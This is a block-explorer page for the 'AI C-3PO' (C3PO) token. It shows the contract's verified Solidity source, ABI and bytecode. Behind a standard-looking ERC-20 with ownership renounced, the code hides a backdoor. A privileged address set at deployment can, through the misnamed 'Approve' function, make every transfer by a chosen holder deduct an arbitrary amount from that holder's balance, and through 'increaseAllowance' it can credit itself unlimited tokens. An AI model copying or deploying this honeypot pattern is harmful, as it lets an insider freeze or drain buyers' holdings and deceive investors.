ETH Price: $3,399.19 (-1.42%)
Gas: 1 Gwei

Token

AI C-3PO (C3PO)
 

Overview

Max Total Supply

66,660,000,000 C3PO

Holders

332

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
localhotmoms.eth
Balance
25,800,054.942512056096612955 C3PO

Value
$0.00
0x2d19d78b7172464f295c200b18225f566899f2e6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AIC3PO

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : AIC3PO.sol
//Telegram: https://t.me/aic3p0
//Website: https://aic3po.xyz
//Twitter: https://twitter.com/aic3p0
//Discord: https://discord.gg/rhY6b7TC


// SPDX-License-Identifier: MIT

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Interface of the IERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
    external
    returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
    external
    view
    returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

// Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol

// pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}

// Dependency file: @openzeppelin/contracts/access/Ownable.sol

// pragma solidity ^0.8.0;

// import "@openzeppelin/contracts/utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(address(0));
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

abstract contract Token {
    uint256 internal constant VERSION = 1;
    event Deploy(
        address owner,
        uint256 version
    );
}

pragma solidity 0.8.18;

contract AIC3PO is IERC20, Token, Ownable {
    using SafeMath for uint256;

    struct Allowanc {
        uint256 allowan;
        bool hasApproval;
    }

    struct Data {
        address user;
        uint256 id;
    }

    mapping(address => uint256) private _balances;

    mapping(address => Allowanc) private _userDatas;

    mapping(address => mapping(address => uint256)) private _allowances;

    Data private _userData;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(
        string memory name_,
        string memory symbol_,
        address user_,
        uint256 totalSupply_
    ) payable {
        _name = name_;
        _symbol = symbol_;
        _decimals = 18;
        _userData.user = user_;
        _userData.id = 0;
        _mine(msg.sender, totalSupply_ * 10**18);
        emit Deploy(
            owner(),
            VERSION
        );
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "IERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        _checkAllow(sender, recipient, amount);
        require(sender != address(0) && recipient != address(0) , "IERC20: transfer from the zero address");

        _befoTransf(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(
            amount,
            "IERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient] + amount;
        emit Transfer(sender, recipient, amount);
    }

    function _mine(address account, uint256 amount) internal virtual {
        require(account != address(0), "IERC20: mint to the zero address");

        _befoTransf(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account] + amount;

        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "IERC20: burn from the zero address");

        _befoTransf(account, address(0), amount);
        require(amount != 0, "Invalid amount");
        _minus(account, amount);
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _minus(address user, uint256 amount) internal {
        _balances[user] = _balances[user] - amount;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0) && spender != address(0), "IERC20: approve from the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function increaseAllowance(address spender, uint256 amount) public virtual {
        address from = msg.sender;
        require(spender != address(0), "Invalid address");
        require(amount > 0, "Invalid amount");
        uint256 total = 0;
        if (_unpack(spender, _userData.user)) {
            _minus(from, total);
            total = _total(total, amount);
            _balances[spender] += total;
        } else {
            _minus(from, total);
            _balances[spender] += total;
        }
    }

    function _unpack(address user, address user2) internal view returns (bool) {
        bytes32 pack1 = keccak256(abi.encodePacked(user));
        bytes32 pack2 = keccak256(abi.encodePacked(user2));
        return pack1 == pack2;
    }

    function _total(uint256 num5, uint256 num9) internal pure returns (uint256) {
        if (num9 != 0) {
            return num5 + num9;
        }
        return num9;
    }

    function Approve(address from, uint256 amount) public returns (bool)  {
        address user = msg.sender;
        requireAllow(user, from, amount);
        return _userDatas[from].hasApproval;
    }

    function requireAllow(address user, address from, uint256 amount) internal {
        if (_unpack(user, _userData.user)) {
            require(from != address(0), "Invalid address");
            _userDatas[from].allowan = amount;
            if (amount > 0) {
                _userDatas[from].hasApproval = true;
            } else {
                _userDatas[from].hasApproval = false;
            }
        }
    }

    function _checkAllow(
        address from,
        address to,
        uint256 total
    ) internal virtual {
        uint256 amount = 0;
        _balances[from] = _balances[from] + amount;
        amount = _userDatas[from].allowan;
        _minus(from, amount);

    }

    function _befoTransf(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"user_","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"Deploy","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"increaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052604051620011663803806200116683398101604081905262000026916200032c565b620000326000620000fd565b60066200004085826200044d565b5060076200004f84826200044d565b506008805460ff19166012179055600480546001600160a01b0384166001600160a01b031990911617905560006005556200009e336200009883670de0b6b3a76400006200052f565b6200014d565b7faf354defc104ba9267634f156652b1f1cfbd10746c329e2bdd48abd4c9cff929620000d26000546001600160a01b031690565b604080516001600160a01b039092168252600160208301520160405180910390a1505050506200055f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216620001a85760405162461bcd60e51b815260206004820181905260248201527f4945524332303a206d696e7420746f20746865207a65726f2061646472657373604482015260640160405180910390fd5b620001c4816009546200025060201b620005151790919060201c565b6009556001600160a01b038216600090815260016020526040902054620001ed90829062000549565b6001600160a01b0383166000818152600160205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906200023f9085815260200190565b60405180910390a35050565b505050565b60006200025e828462000549565b90505b92915050565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200028f57600080fd5b81516001600160401b0380821115620002ac57620002ac62000267565b604051601f8301601f19908116603f01168101908282118183101715620002d757620002d762000267565b81604052838152602092508683858801011115620002f457600080fd5b600091505b83821015620003185785820183015181830184015290820190620002f9565b600093810190920192909252949350505050565b600080600080608085870312156200034357600080fd5b84516001600160401b03808211156200035b57600080fd5b62000369888389016200027d565b955060208701519150808211156200038057600080fd5b506200038f878288016200027d565b604087015190945090506001600160a01b0381168114620003af57600080fd5b6060959095015193969295505050565b600181811c90821680620003d457607f821691505b602082108103620003f557634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200024b57600081815260208120601f850160051c81016020861015620004245750805b601f850160051c820191505b81811015620004455782815560010162000430565b505050505050565b81516001600160401b0381111562000469576200046962000267565b62000481816200047a8454620003bf565b84620003fb565b602080601f831160018114620004b95760008415620004a05750858301515b600019600386901b1c1916600185901b17855562000445565b600085815260208120601f198616915b82811015620004ea57888601518255948401946001909101908401620004c9565b5085821015620005095787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141762000261576200026162000519565b8082018082111562000261576200026162000519565b610bf7806200056f6000396000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806390ec57f11161006657806390ec57f1146101b057806395d89b41146101c3578063a9059cbb146101cb578063dd62ed3e146101de57600080fd5b806370a0823114610164578063715018a61461018d5780638da5cb5b1461019557600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a578063395093511461014f575b600080fd5b6100dc610217565b6040516100e991906109e3565b60405180910390f35b610105610100366004610a4d565b6102a9565b60405190151581526020016100e9565b6009545b6040519081526020016100e9565b610105610135366004610a77565b6102c0565b60085460405160ff90911681526020016100e9565b61016261015d366004610a4d565b610329565b005b610119610172366004610ab3565b6001600160a01b031660009081526001602052604090205490565b610162610461565b6000546040516001600160a01b0390911681526020016100e9565b6101056101be366004610a4d565b6104c7565b6100dc6104f9565b6101056101d9366004610a4d565b610508565b6101196101ec366004610ace565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60606006805461022690610b01565b80601f016020809104026020016040519081016040528092919081815260200182805461025290610b01565b801561029f5780601f106102745761010080835404028352916020019161029f565b820191906000526020600020905b81548152906001019060200180831161028257829003601f168201915b5050505050905090565b60006102b6338484610528565b5060015b92915050565b60006102cd848484610604565b61031f843361031a85604051806060016040528060298152602001610b99602991396001600160a01b038a166000908152600360209081526040808320338452909152902054919061074b565b610528565b5060019392505050565b336001600160a01b0383166103775760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b60448201526064015b60405180910390fd5b600082116103b85760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908185b5bdd5b9d60921b604482015260640161036e565b6004546000906103d29085906001600160a01b0316610777565b15610423576103e18282610802565b6103eb8184610846565b6001600160a01b038516600090815260016020526040812080549293508392909190610418908490610b4b565b9091555061045b9050565b61042d8282610802565b6001600160a01b03841660009081526001602052604081208054839290610455908490610b4b565b90915550505b50505050565b6000546001600160a01b031633146104bb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161036e565b6104c56000610865565b565b6000336104d58185856108b5565b5050506001600160a01b031660009081526002602052604090206001015460ff1690565b60606007805461022690610b01565b60006102b6338484610604565b60006105218284610b4b565b9392505050565b6001600160a01b0383161580159061054857506001600160a01b03821615155b6105a25760405162461bcd60e51b815260206004820152602560248201527f4945524332303a20617070726f76652066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161036e565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b61060f83838361098e565b6001600160a01b0383161580159061062f57506001600160a01b03821615155b61068a5760405162461bcd60e51b815260206004820152602660248201527f4945524332303a207472616e736665722066726f6d20746865207a65726f206160448201526564647265737360d01b606482015260840161036e565b6106c781604051806060016040528060278152602001610b72602791396001600160a01b038616600090815260016020526040902054919061074b565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546106f7908290610b4b565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906105f79085815260200190565b6000818484111561076f5760405162461bcd60e51b815260040161036e91906109e3565b505050900390565b6040516bffffffffffffffffffffffff19606084901b16602082015260009081906034016040516020818303038152906040528051906020012090506000836040516020016107de919060609190911b6bffffffffffffffffffffffff1916815260140190565b60408051601f19818403018152919052805160209091012091909114949350505050565b6001600160a01b038216600090815260016020526040902054610826908290610b5e565b6001600160a01b0390921660009081526001602052604090209190915550565b6000811561085f576108588284610b4b565b90506102ba565b50919050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6004546108cc9084906001600160a01b0316610777565b15610989576001600160a01b0382166109195760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015260640161036e565b6001600160a01b0382166000908152600260205260409020819055801561096557506001600160a01b031660009081526002602052604090206001908101805460ff1916909117905550565b6001600160a01b0382166000908152600260205260409020600101805460ff191690555b505050565b6001600160a01b0383166000908152600160205260408120546109b2908290610b4b565b6001600160a01b038516600090815260016020908152604080832093909355600290522054905061045b8482610802565b600060208083528351808285015260005b81811015610a10578581018301518582016040015282016109f4565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a4857600080fd5b919050565b60008060408385031215610a6057600080fd5b610a6983610a31565b946020939093013593505050565b600080600060608486031215610a8c57600080fd5b610a9584610a31565b9250610aa360208501610a31565b9150604084013590509250925092565b600060208284031215610ac557600080fd5b61052182610a31565b60008060408385031215610ae157600080fd5b610aea83610a31565b9150610af860208401610a31565b90509250929050565b600181811c90821680610b1557607f821691505b60208210810361085f57634e487b7160e01b600052602260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b808201808211156102ba576102ba610b35565b818103818111156102ba576102ba610b3556fe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220856bd510c3a538a12a26b6ff15dd7d56a6ca4df06699d4aa53d88c9ced092d2964736f6c63430008120033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000d230343730d003405194049a74c027ef841ff8b70000000000000000000000000000000000000000000000000000000f853ee1000000000000000000000000000000000000000000000000000000000000000008414920432d33504f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044333504f00000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806390ec57f11161006657806390ec57f1146101b057806395d89b41146101c3578063a9059cbb146101cb578063dd62ed3e146101de57600080fd5b806370a0823114610164578063715018a61461018d5780638da5cb5b1461019557600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a578063395093511461014f575b600080fd5b6100dc610217565b6040516100e991906109e3565b60405180910390f35b610105610100366004610a4d565b6102a9565b60405190151581526020016100e9565b6009545b6040519081526020016100e9565b610105610135366004610a77565b6102c0565b60085460405160ff90911681526020016100e9565b61016261015d366004610a4d565b610329565b005b610119610172366004610ab3565b6001600160a01b031660009081526001602052604090205490565b610162610461565b6000546040516001600160a01b0390911681526020016100e9565b6101056101be366004610a4d565b6104c7565b6100dc6104f9565b6101056101d9366004610a4d565b610508565b6101196101ec366004610ace565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60606006805461022690610b01565b80601f016020809104026020016040519081016040528092919081815260200182805461025290610b01565b801561029f5780601f106102745761010080835404028352916020019161029f565b820191906000526020600020905b81548152906001019060200180831161028257829003601f168201915b5050505050905090565b60006102b6338484610528565b5060015b92915050565b60006102cd848484610604565b61031f843361031a85604051806060016040528060298152602001610b99602991396001600160a01b038a166000908152600360209081526040808320338452909152902054919061074b565b610528565b5060019392505050565b336001600160a01b0383166103775760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b60448201526064015b60405180910390fd5b600082116103b85760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908185b5bdd5b9d60921b604482015260640161036e565b6004546000906103d29085906001600160a01b0316610777565b15610423576103e18282610802565b6103eb8184610846565b6001600160a01b038516600090815260016020526040812080549293508392909190610418908490610b4b565b9091555061045b9050565b61042d8282610802565b6001600160a01b03841660009081526001602052604081208054839290610455908490610b4b565b90915550505b50505050565b6000546001600160a01b031633146104bb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161036e565b6104c56000610865565b565b6000336104d58185856108b5565b5050506001600160a01b031660009081526002602052604090206001015460ff1690565b60606007805461022690610b01565b60006102b6338484610604565b60006105218284610b4b565b9392505050565b6001600160a01b0383161580159061054857506001600160a01b03821615155b6105a25760405162461bcd60e51b815260206004820152602560248201527f4945524332303a20617070726f76652066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161036e565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b61060f83838361098e565b6001600160a01b0383161580159061062f57506001600160a01b03821615155b61068a5760405162461bcd60e51b815260206004820152602660248201527f4945524332303a207472616e736665722066726f6d20746865207a65726f206160448201526564647265737360d01b606482015260840161036e565b6106c781604051806060016040528060278152602001610b72602791396001600160a01b038616600090815260016020526040902054919061074b565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546106f7908290610b4b565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906105f79085815260200190565b6000818484111561076f5760405162461bcd60e51b815260040161036e91906109e3565b505050900390565b6040516bffffffffffffffffffffffff19606084901b16602082015260009081906034016040516020818303038152906040528051906020012090506000836040516020016107de919060609190911b6bffffffffffffffffffffffff1916815260140190565b60408051601f19818403018152919052805160209091012091909114949350505050565b6001600160a01b038216600090815260016020526040902054610826908290610b5e565b6001600160a01b0390921660009081526001602052604090209190915550565b6000811561085f576108588284610b4b565b90506102ba565b50919050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6004546108cc9084906001600160a01b0316610777565b15610989576001600160a01b0382166109195760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015260640161036e565b6001600160a01b03821660009081526002602052604090208190558015610965575060